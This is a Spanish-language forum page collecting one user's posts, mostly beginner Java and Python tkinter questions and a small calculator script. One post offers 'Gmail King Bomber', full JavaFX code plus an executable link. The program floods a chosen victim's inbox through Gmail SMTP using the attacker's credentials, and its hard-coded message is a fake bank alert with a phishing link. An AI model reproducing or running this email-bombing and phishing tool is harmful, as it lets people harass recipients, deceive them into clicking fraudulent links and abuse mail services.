Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Mitgus

#31
Haz los algoritmos, por lo menos en pseudocódigo, el asunto es que razones, que pienses y desarrolles tu lógica.

Luego ya aprende un lenguaje de programación.


Saludos.
#32
Java / Re: [JavaFX] Gmail King Bomber.
21 Junio 2013, 23:31 PM
Hola David que tal xD.

El code que utilicé de ti es este pedazo:

Código (=java) [Seleccionar]

txrActividad.setText(txrActividad.getText() + "\n" +
    "Nuevo mensaje enviado: " + new Date() + "\n" +
    "Destino: " + txtEmail.getText() + "\n" +
    "Asunto: " + txtAsunto.getText() + "\n" +
    "Mensaje: " + txrMensaje.getText()+"\n"+"\n");


Lo que me gustó fue el nombre de tu clase "Bomber"  ;D



Saludos crack.

#33
Java / Re: Problemas con delimitar while
21 Junio 2013, 01:41 AM
Tu código solo revisa si una ip está baneada, si es así muestra la alerta, si no, devuelve el ip, ¿no?.

if (Delimitador) // te está dando siempre true por lo que comentas. El error debería venir de allí.
#34
Java / [JavaFX] Gmail King Bomber.
21 Junio 2013, 01:27 AM
Hola,

Les dejo una sencilla aplicación para spamear cuentas de correo. El code es sencillo, un Thread hace la tarea y captura las excepciones mostrando un cuadro de diálogo. Los botones y demás controles se desactivan mientras esté operativa la tarea (envío de emails). El botón borrar, como su nombre lo dice borra todos los campos a excepción del email y password atacante.


Imagen en funcionamiento:



Versión 1.0. Con un código más sencillo, sin tantos catch múltiples y ahora el trabajo por medio de un thread.

Código (=java) [Seleccionar]

import java.util.Date;
import java.util.Properties;

// Librerias JavaFX
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Group;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.Label;
import javafx.scene.control.PasswordField;
import javafx.scene.control.TextArea;
import javafx.scene.control.TextField;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.paint.Color;
import javafx.stage.Stage;

// librerias JavaMail
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JOptionPane;


public class GmailKingBomber extends Application {

Label lblEmail,lblAsunto,lblMensaje,cantMensajes,lblActividad,lblEmailSender,lblPassSender;
Button btnOk,btnBorrar;
TextField txtEmail,txtAsunto,txtcantMensajes,txtEmailSender;
PasswordField txtPassSender;
TextArea txrMensaje,txrActividad;
public void start(Stage stage){

    Group root = new Group(); // crea un panel "Grupo" (ver doc)
    Scene escena = new Scene(root,550,420); // se lo asigna a la escena y configura sizes
   
    // email
    lblEmail = new Label("Email");
    lblEmail.setTextFill(Color.web("#0076a3"));
    lblEmail.setLayoutX(8);
    lblEmail.setLayoutY(8);
    txtEmail = new TextField("");
    txtEmail.setFocusTraversable(true);
    txtEmail.setPrefSize(150,25);
    txtEmail.setLayoutX(20);
    txtEmail.setLayoutY(28);
    // asunto
    lblAsunto = new Label("Asunto");
    lblAsunto.setTextFill(Color.web("#0076a3"));
    lblAsunto.setLayoutX(8);
    lblAsunto.setLayoutY(55);
    txtAsunto = new TextField("");
    txtAsunto.setFocusTraversable(true);
    txtAsunto.setPrefSize(150,25);
    txtAsunto.setLayoutX(20);
    txtAsunto.setLayoutY(75);
    // mensaje
    lblMensaje = new Label("Mensaje");
    lblMensaje.setTextFill(Color.web("#0076a3"));
    lblMensaje.setLayoutX(8);
    lblMensaje.setLayoutY(101);
    txrMensaje = new TextArea("");
    txrMensaje.setFocusTraversable(true);
    txrMensaje.setPrefSize(150,80);
    txrMensaje.setLayoutX(20);
    txrMensaje.setLayoutY(126);
    // cantidad de mensajes
    cantMensajes = new Label("Cantidad de emails");
    cantMensajes.setTextFill(Color.web("#0076a3"));
    cantMensajes.setLayoutX(8);
    cantMensajes.setLayoutY(211);
    txtcantMensajes = new TextField("");
    txtcantMensajes.setFocusTraversable(true);
    txtcantMensajes.setPrefSize(80,25);
    txtcantMensajes.setLayoutX(20);
    txtcantMensajes.setLayoutY(234);
     // email atacador
    lblEmailSender = new Label("Email atacante");
    lblEmailSender.setTextFill(Color.web("#0076a3"));
    lblEmailSender.setLayoutX(8);
    lblEmailSender.setLayoutY(266);
    // txt email atacador
    txtEmailSender = new TextField("");
    txtEmailSender.setFocusTraversable(true);
    txtEmailSender.setLayoutX(20);
    txtEmailSender.setLayoutY(285);
    // pass del atacador
    lblPassSender = new Label("Pass");
    lblPassSender.setTextFill(Color.web("#0076a3"));
    lblPassSender.setLayoutX(8);
    lblPassSender.setLayoutY(310);
    //ptxt pass del atacador
    txtPassSender = new PasswordField();
    txtPassSender.setFocusTraversable(true);
    txtPassSender.setLayoutX(20);
    txtPassSender.setLayoutY(329);
    // si se empieza a escribir la contrasena se activa el boton
    txtPassSender.textProperty().addListener(new ChangeListener<String>() {
      @Override
      public void changed(ObservableValue<? extends String> observable,
              String oldValue, String newValue) {
     
          btnOk.setDisable(false);
      }
    });
   
    // boom
    btnOk = new Button("¡Boom!");
    btnOk.setFocusTraversable(true);
    btnOk.setDisable(true);
    btnOk.setTextFill(Color.web("#0076a9"));
    btnOk.setLayoutX(20);
    btnOk.setLayoutY(385);
    btnOk.setPrefSize(100,25);
   
        // evento del boton
    btnOk.setOnAction(new EventHandler<ActionEvent>() {
    public void handle(ActionEvent event){ // crea un thread para iniciar el proceso
    Boom boom = new Boom();
    boom.start(); // inicia la tarea
    }
   
    });
   
    // boton borrar
    btnBorrar = new Button("Borrar");
    btnBorrar.setLayoutX(126);
    btnBorrar.setLayoutY(385);
    btnBorrar.setPrefSize(100,25);
    btnBorrar.setOnAction(new EventHandler<ActionEvent>() {
    public void handle(ActionEvent evt){
    // borra todos los cambos y pone el focus en el email victima
    txtEmail.setText(null);
    txtAsunto.setText(null);
    txrMensaje.setText(null);
    txtcantMensajes.setText(null);
    txrActividad.setText("");
    txtEmail.requestFocus();
    }
    });
    // textarea
    lblActividad = new Label("Actividad");
    lblActividad.setTextFill(Color.web("#0076a3"));
    lblActividad.setLayoutX(250);
    lblActividad.setLayoutY(8);
    txrActividad = new TextArea();
    txrActividad.setPrefSize(300,390);
    txrActividad.setLayoutX(250);
    txrActividad.setLayoutY(30);
    txrActividad.setEditable(false); // el textarea no es editable
    // imagen para el fondo
    Image ima = new Image("file:htp.jpg",true);
    ImageView imagen = new ImageView();
    imagen.setImage(ima);
    // imagen para el icono de la ventana
    stage.getIcons().add(new Image("file:descarga.jpg"));
    // agrega todos los componentes al panel
    root.getChildren().addAll(imagen,lblEmail,btnOk,btnBorrar,txtEmail,lblAsunto,txtAsunto,lblMensaje,txrMensaje,cantMensajes,txtcantMensajes,lblEmailSender,txtEmailSender,lblPassSender,txtPassSender,lblActividad,txrActividad);
    stage.setTitle("¡Gmail king bomber! v0.1 - Darkgus"); // titulo del "stage" ( jframe)
    stage.setScene(escena); // le asigna la escena ( la escena es el panel principal, dentro esta el panel root de tipo Group)
    stage.setResizable(false);
    stage.show(); // mostramos la stage
   
}

    // clase que hace el envío de emails mediante thread
private class Boom extends Thread{

private boolean continuar=true; //condicion del thread

void detener(){ // metodo para detener el thread
continuar = false;
}
void inhabilitar() { // inhabilita los controles
btnOk.setDisable(true);
btnBorrar.setDisable(true);
txtEmail.setEditable(false);
txtAsunto.setEditable(false);
txrMensaje.setEditable(false);
txtcantMensajes.setEditable(false);
txtEmailSender.setEditable(false);
txtPassSender.setEditable(false);
}
void habilitar() { // habilita los controles
btnOk.setDisable(false);
btnBorrar.setDisable(false);
txtEmail.setEditable(true);
txtAsunto.setEditable(true);
txrMensaje.setEditable(true);
txtcantMensajes.setEditable(true);
txtEmailSender.setEditable(true);
txtPassSender.setEditable(true);
}
public void run()  { // incia el thread
while(continuar) { // hace la tarea mientras continuar sea true

try {
inhabilitar();
                // Propiedades de la conexión
                Properties props = new Properties();
                props.setProperty("mail.smtp.host", "smtp.gmail.com");
                props.setProperty("mail.smtp.starttls.enable", "true");
                props.setProperty("mail.smtp.port", "587");
                props.setProperty("mail.smtp.user", txtEmailSender.getText());
                props.setProperty("mail.smtp.auth", "true");

                // Preparamos la sesion
                Session session = Session.getDefaultInstance(props);

                // Construimos el mensaje
                MimeMessage message = new MimeMessage(session);
                message.setFrom(new InternetAddress("yo@yo.com"));
                message.addRecipient(
                    Message.RecipientType.TO,
                    new InternetAddress(txtEmail.getText()));
                message.setSubject("Hola");
                message.setText(
                    "Este es un aviso de su banco: clickee aquí: www.terobolacuenta.com");

                // Lo enviamos.
                int cantidad = Integer.parseInt(txtcantMensajes.getText() );
                for(int i=1; i<=cantidad; i++) {
                Transport t = session.getTransport("smtp");
                t.connect(txtEmailSender.getText(), new String(txtPassSender.getText()));
                t.sendMessage(message, message.getAllRecipients());
                txrActividad.setText(txrActividad.getText() + "\n" +
    "Nuevo mensaje enviado: " + new Date() + "\n" +
    "Destino: " + txtEmail.getText() + "\n" +
    "Asunto: " + txtAsunto.getText() + "\n" +
    "Mensaje: " + txrMensaje.getText()+"\n"+"\n");

                // Cierre.
                t.close();
               
                if(i==cantidad) {
                detener();
                habilitar();
                }
               } // fin for
            } // fin try
catch(Exception e) { //detenemos el thread, habilitamos los button y mostramos error
detener();
habilitar();
           
JOptionPane.showMessageDialog(null,"Ha ocurrido un error. Asegúrese que se hayan\nintroducido correctamente los datos","ERROR",JOptionPane.ERROR_MESSAGE);
}
} // fin while
} // fin run
} // fin clase
           

public static void main(String[] args) {
launch(args); // lanza la aplicacion
}
}



Ejecutable:  http://www.mediafire.com/?pdqn5cz324brq6b
#35
Java / Re: WTF?
20 Junio 2013, 15:57 PM
Solucionado. Hay que agregar manualmente la clase principal en las propiedades del proyecto.
#36
Java / WTF?
20 Junio 2013, 15:26 PM
Alguien sabe a qué se debe este inesperado error? (Netbeans)

Error: no se ha encontrado o cargado la clase principal "paquete".Main

PD: En JavaFX.
#37
Yo estudio Ing. Informática. La verdad tiempo claro que hay, aunque eso depende del horario en el que te inscribas, hay algunos horribles en donde tienes que estar todo el día..

Pero en general, hay tiempo para todo. Para salir con la nena, para divertirse con los patas, etc. Lo importante es saber equilibrar diversión - deberes.

Me olvidaba, en tiempo de exposiciones, trabajos, exámenes, parciales o prácticas, no te recomiendo salir a divertirte xDD.

Saludos.
#38
Bueno, ya lo solucioné.

La cosa era con un lamba, de este modo:

Código (=python) [Seleccionar]
boton = Button(root, text="Calcular",command=lambda: operar("parametro"), width=15)


Minicalculadora por si a algún novato como yo le sirve.. Encontrar info de tkinter actual solo se encuentra en inglés xD

Código (=python) [Seleccionar]

from tkinter import * #importa el modulo grafico
from tkinter import ttk # importa elementos (widgets)
from tkinter import messagebox #importa messagebox

def operar():
    error = False # sera el control de la operacion
    texto = str(combo.get()) # extraemos el item seleccionado

    # de acuerdo a la opcion escogia, se realiza una operacion
    if(texto == "Sumar"):
        lbl = Label(root,text="Total: "+str(a.get()+b.get()))
    elif(texto == "Restar"):
        lbl = Label(root,text="Total: "+str(a.get()-b.get()))
    elif(texto=="Multiplicar"):
        lbl = Label(root,text="Total: "+str(a.get() * b.get()))
    # hacemos un try - catch (si se divide entre 0)
    else:
        try:
            lbl = Label(root,text="Total: "+str(round(a.get() / b.get(),2)))
        except:
            messagebox.showerror("Error","No es posible la división entre 0")
            error = True # avisamos que hay error
    # si no hay error, se muestra el resultado
    if(error==False):
        lbl.grid(row=4,column=0)


root = Tk() #crea la ventana
a = DoubleVar() #maneja el tipo de dato que se usara
b = DoubleVar()
txtA = Entry(root, textvariable=a, width=15) #configuramos los textbox
txtB = Entry(root, textvariable=b, width=15)
# agregamos elementos al combo
combo = ttk.Combobox(root,value=('Sumar','Restar','Multiplicar','Dividir'), takefocus=0)
combo.grid(row=3,column=0)
# creamos el boton y configuramos su accion (command = 'funcion')
btnSumar = Button(root, text="Calcular", command=operar, width=15)
txtA.grid(row=0,column=0)
txtB.grid(row=1,column=0)
btnSumar.grid(row=2,column=0)
root.mainloop() #maneja todo lo que ocurre
#39
Scripting / [Python] Tkinter básico - eventos
18 Junio 2013, 17:00 PM
Hola compañeros. Soy novato en Python, me parece un lenguaje interesante por lo que estoy aprendiendo a programar con él.

Ayer empecé con Tkinter, y todo bien, lo único que no logro es hacer que un botón llame a una función para que muestre un resultado.

Código (=python) [Seleccionar]

from tkinter import *

def operar(operacion):
   if(operacion == "suma"):
       print(operacion)
       lbl = Label(root,text="Total: "+str(a.get()+b.get()))
       lbl.grid(row=3,column=0)
   elif (operacion == "resta"):
       print(operacion)
       lbl = Label(root,text="Total: "+str(a.get()-b.get()))
       lbl.grid(row=3,column=0)

root = Tk()
a = IntVar()
b = IntVar()
txtA = Entry(root, textvariable=a, width=15)
txtB = Entry(root, textvariable=b, width=15)
btnSumar = Button(root, text="Sumar", command=operar("resta"), width=15)
txtA.grid(row=0,column=0)
txtB.grid(row=1,column=0)
btnSumar.grid(row=2,column=0)
root.mainloop()



Lo que quiero hacer es algo así (Java):

Código (=java) [Seleccionar]

public class Hola {

void calcula(String operacion)
{
  int numero1 = Integer.parseInt(textbox1.getText());
  int numero2 = Integer.parseInt(textbox2.getText());

  if(operacion.equals("suma") {
   labelResultado.setText(String.valueOf(numero1+numero2));
  else if (operacion.equals("resta") {
   labelResultado.setText(String.valueOf(numero1-numero2));
   // así con multiplicación y división

 }

// evento del boton
public void actionPerformed(ActionEvent evento)
{
  Objet item = (String) combobox.getSelectedItem();
  calcula(item)
 }


Cuando corro el programa, llama explícitamente a la función operar, si que haya presionado el botón. Esto sale por la terminal al ejecutar el script:

Código (=python) [Seleccionar]

>>>
resta
>>>



¿Algún entendido que pueda ayudarme?

Gracias.
#40
Scripting / [ESP] Doc oficial Python 3 + Yapa
15 Junio 2013, 22:17 PM
Hola, aquí les dejo la documentación oficial de Python 3 (del mismo Guido).

Documentacion

De yapa, Inmersión en Python 3 en Español:

[url"http://www.detodoprogramacion.com/2012/06/inmersion-en-python-espanol-excelente.html#more"]Inmersión en Python 3[/url]


Saludos.